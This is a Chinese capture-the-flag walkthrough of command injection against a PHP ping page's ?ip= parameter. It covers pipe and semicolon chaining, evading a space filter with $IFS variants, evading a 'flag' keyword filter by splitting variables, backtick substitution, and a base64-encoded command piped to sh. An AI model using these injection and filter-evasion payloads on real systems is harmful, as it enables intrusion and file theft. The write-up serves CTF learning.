启动靶机,页面提示可以传入的参数为/?ip=
尝试ping一下本地IP地址
尝试使用拼接符,空格(space)字符被过滤了,不得行
?ip=127.0.0.1 | pwd
删除空格字符
?ip=127.0.0.1|pwd
获取当前目录有哪些文件,发现有flag.php和index.php
?ip=127.0.0.1|ls
尝试直接读取flag.php文件,不可行,忘记空格被过滤了
?ip=127.0.0.1|cat flag.php
命令执行常见空格绕过方法:
$IFS
$IFS$6 ——后面的数字6换成其他数字也行
${IFS}
<
<>
{cat,flag.php} ——这里把,替换成了空格键
%20 ——代表space键
%09 ——代表Tab键
绕过了空格,flag又被过滤了
这时候,还有一个index.php源码文件,尝试读取
?ip=127.0.0.1|cat$IFS$6index.php
查阅资料可得,preg_match()函数是PHP中用于匹配正则表达式
的函数之一。该函数用来检索字符串中是否存在符合正则表达式模式的子字符串,并将结果存储在一个数组中,返回值是匹配成功的次数。
也就是说,含有f l a g四个字样,都会被过滤
1.拼接绕过法
将flag字符串,拆分,然后进行组合
playload: ?ip=127.0.0.1;y=ag;x=fl;cat$IFS$6$x$y.php
y=g;x=fla;$x$y
y=ag;x=fl;$x$y
y=lag;x=f;$x$y
f12,查看页面源代码,成功获取flag
2.内联执行
内联执行就是linux下将反引号
中输出的内容作为我们命令的输入,可以看到源代码并没有将反引号 ` 进行过滤,所以可以考虑将 ls 的内容进行cat的输入
playload:
?ip=127.0.0.1;cat$IFS$6`ls`
实际等效于:
cat flag.php;cat index.php
3.sh编码绕过(base64编码)
echo 命令编码|base64 -d|sh
//对base64编码的字符串进行解码,然后将解码后的字符串输出
sh 可以更换为 bash ,此处将 bash 过滤了
playload:
cat flag.php的base64编码:Y2F0IGZsYWcucGhw
echo Y2F0IGZsYWcucGhw|base64 -d|sh
加上绕过空格:
?ip=127.0.0.1;echo$IFS$6Y2F0IGZsYWcucGhw|base64$IFS$6-d|sh